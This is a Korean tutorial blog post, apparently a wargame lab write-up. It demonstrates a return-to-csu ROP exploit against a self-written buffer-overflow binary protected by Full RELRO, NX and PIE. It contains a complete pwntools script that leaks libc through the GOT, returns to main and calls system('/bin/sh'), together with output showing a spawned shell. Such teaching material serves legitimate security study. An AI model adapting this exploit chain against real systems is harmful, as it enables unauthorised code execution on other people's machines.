Return-to-csu(feat. Return-to-vuln)

Sisyphus·2022년 7월 18일
0

System Hacking - ELF 64

목록 보기
3/5

Return-to-vuln

Return-to-vuln이란 ROP 코드를 실행한 후에 취약성이 있는 코드로 다시 이동하는 것을 말합니다.

어떻게 이게 가능할까요?
Return-to-csu 기법을 이용하면 됩니다.


stage 1에서

rbp ~ r15 까지 값을 모두 0으로 세팅하고 ret 값을 취약한 함수인 vuln() 함수 주소로 세팅하면


ret 명령이 실행될 때 vuln() 함수로 Jump  하게 됩니다


이번에는 이  Return-to-vuln 기법과 Return-to-csu 기법을 이용해서 Full RELRO, NX, PIE가 걸린 파일을 익스플로잇 해보겠습니다.



실습

실습 코드

#include <stdio.h>

int main() {
        char buf[64];

        setvbuf(stdin, 0, 2, 0);
        write(1, "Hey, ROP! What's Up?\n", 0x15);
        read(0, buf, 0x200);

        return 0;
}

보호 기법

 kali@kali  ~/wargame/Return_to_Csu/pie  checksec rtc_full 
[*] '/home/kali/wargame/Return_to_Csu/pie/rtc_full'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Full RELRO, NX, PIE 방어 기법이 걸려있습니다.


__libc_csu_init

gef➤  disas __libc_csu_init
Dump of assembler code for function __libc_csu_init:
   0x00000000000011f8 <+56>:    mov    rdx,r14
   0x00000000000011fb <+59>:    mov    rsi,r13
   0x00000000000011fe <+62>:    mov    edi,r12d
   0x0000000000001201 <+65>:    call   QWORD PTR [r15+rbx*8]
   0x0000000000001205 <+69>:    add    rbx,0x1
   0x0000000000001209 <+73>:    cmp    rbp,rbx
   0x000000000000120c <+76>:    jne    0x11f8 <__libc_csu_init+56>
   0x000000000000120e <+78>:    add    rsp,0x8
   
   0x0000000000001212 <+82>:    pop    rbx
   0x0000000000001213 <+83>:    pop    rbp
   0x0000000000001214 <+84>:    pop    r12
   0x0000000000001216 <+86>:    pop    r13
   0x0000000000001218 <+88>:    pop    r14
   0x000000000000121a <+90>:    pop    r15
   0x000000000000121c <+92>:    ret    
End of assembler dump.

buf ~ RET 거리

gef➤  pattern create 100
[+] Generating a pattern of 100 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'
gef➤  r
Starting program: /home/kali/wargame/Return_to_Csu/pie/rtc_full 
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fca000'
Hey, ROP! What's Up?
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

gef➤  x/gx $rsp
0x7fffffffded8: 0x616161616161616a
gef➤  pattern search 0x616161616161616a
[+] Searching for '6a61616161616161'/'616161616161616a' with period=8
[+] Found at offset 72 (little-endian search) likely

 buf ~ RET 까지 거리는 72  Byte입니다.


익스플로잇 설계

[1]  Leak read@got

  • libc_base 구하기
  • system 함수 주소 구하기
  • "/bin/sh" 주소 구하기

[2] Return to main
[3] Return to library

  • system("/bin/sh")

Full RELRO와 NX 보호 기법을 우회하기 위해서 got overwrite 대신  system()과 "/bin/sh" 주소를 구하고 main으로 돌아와 RTL을 하였습니다.

익스플로잇 코드

정보 수집

def slog(name, addr):
        return success(" ".join([name, hex(addr)]))


p = process("./rtc_full")
e = ELF('./rtc_full', checksec=False)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
r = ROP(e)
pie_base = p.libs()["/home/kali/wargame/Return_to_Csu/pie/rtc_full"]

write_got = e.got['write'] + pie_base
read_got = e.got['read'] + pie_base

read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
binsh_offset = list(libc.search(b"/bin/sh\00"))[0]

csu_init1 = 0x1212 + pie_base
csu_init2 = 0x11f8 + pie_base
main = e.symbols['main'] + pie_base

pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0] + pie_base

먼저 PIE 보호 기법이 걸려있기 때문에 코드 영역과 관련된 부분들에는 pie_base를 더해주었습니다.


RTC Chain

def rtc_chain(arg1, arg2, arg3, func):
        return p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(func) + p64(csu_init2)

Leak read@got & Return to main

# write(1, read@got, 8)
payload += p64(csu_init1)
payload += rtc_chain(1, read_got, 8, write_got)


# return to main
payload += p64(0) * 7
payload += p64(main)

system()과 "/bin/sh" 주소 구하기

p.sendafter("Hey, ROP! What's Up?\n", payload)

read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset
system = lb + system_offset
binsh = lb + binsh_offset

slog("PE base", pie_base)
slog("libc base", lb)
slog("read", read)
slog("system", system)
slog("/bin/sh", binsh)

Return to Library

payload = b"A" * 72
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)


p.sendafter("Hey, ROP! What's Up?\n", payload)

전체 코드

from pwn import *

def slog(name, addr):
        return success(" ".join([name, hex(addr)]))


p = process("./rtc_full")
e = ELF('./rtc_full', checksec=False)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
r = ROP(e)
pie_base = p.libs()["/home/kali/wargame/Return_to_Csu/pie/rtc_full"]

write_got = e.got['write'] + pie_base
read_got = e.got['read'] + pie_base

read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
binsh_offset = list(libc.search(b"/bin/sh\00"))[0]

csu_init1 = 0x1212 + pie_base
csu_init2 = 0x11f8 + pie_base
main = e.symbols['main'] + pie_base

pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0] + pie_base


def rtc_chain(arg1, arg2, arg3, func):
        return p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(func) + p64(csu_init2)


payload = b'A' * 72


# write(1, read@got, 8)
payload += p64(csu_init1)
payload += rtc_chain(1, read_got, 8, write_got)


# return to main
payload += p64(0) * 7
payload += p64(main)


p.sendafter("Hey, ROP! What's Up?\n", payload)

read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset
system = lb + system_offset
binsh = lb + binsh_offset

slog("PE base", pie_base)
slog("libc base", lb)
slog("read", read)
slog("system", system)
slog("/bin/sh", binsh)


payload = b"A" * 72
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)


p.sendafter("Hey, ROP! What's Up?\n", payload)
p.interactive()

익스플로잇

 kali@kali  ~/wargame/Return_to_Csu/pie  python3 exploit_full.py 2> /dev/null
[+] Starting local process './rtc_full': pid 59946
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 14 cached gadgets for './rtc_full'
[+] PE base 0x560b5f23f000
[+] libc base 0x7f55b727c000
[+] read 0x7f55b736a550
[+] system 0x7f55b72c5860
[+] /bin/sh 0x7f55b7414882
[*] Switching to interactive mode
$ ls
core  exploit_full.py  exploit.py  rtc    rtc.c  rtc_full

0개의 댓글